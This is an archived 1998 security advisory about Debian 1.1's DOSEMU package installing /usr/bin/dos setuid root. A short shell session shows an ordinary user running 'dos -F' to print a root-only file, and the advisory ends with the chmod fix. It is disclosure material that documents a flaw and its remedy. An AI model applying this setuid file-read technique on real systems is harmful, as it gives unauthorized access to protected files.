home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / bundle of exploits.sit / bundle of exploits / dosemu.txt < prev    next >
Text File  |  1998-07-17  |  1KB  |  33 lines

  1.  
  2.  
  3. In Debian 1.1, the optional DOSEMU package installs /usr/sbin/dos
  4. setuid root.  This is a serious security hole which can be exploited
  5. to gain access to any file on the system.
  6.  
  7. Package: dosemu
  8. Version: 0.64.0.2-9
  9.  
  10. ------- start of cut text --------------
  11. $ cat /etc/debian_version 
  12. 1.1
  13. $ id
  14. uid=xxxx(quinlan) gid=xxxx(quinlan) groups=xxxx(quinlan),20(dialout),24(cdrom)
  15. [quinlan:~]$ ls -al /usr/bin/dos
  16. -rwsr-xr-x   1 root     root       569576 Oct 24 00:05 /usr/bin/dos
  17. $ ls -al /root/foo
  18. -rw-------   1 root     root         1117 Nov 13 23:10 /root/foo
  19. $ dos -F /root/foo
  20. [ Prints /root/foo, which is not readable by user `quinlan'. ]
  21. ------- end ----------------------------
  22.  
  23. I expect there may be other holes in dosemu other than this one that
  24. can be exploited if it is installed setuid root.  It took about 60
  25. seconds to find this hole once I realized /usr/bin/dos was setuid
  26. root.
  27.  
  28. Note: This security hole can be corrected by removing the suid bit from
  29. /usr/bin/dos:
  30. ----------------------------
  31. $ chmod u-s /usr/bin/dos
  32. ----------------------------
  33.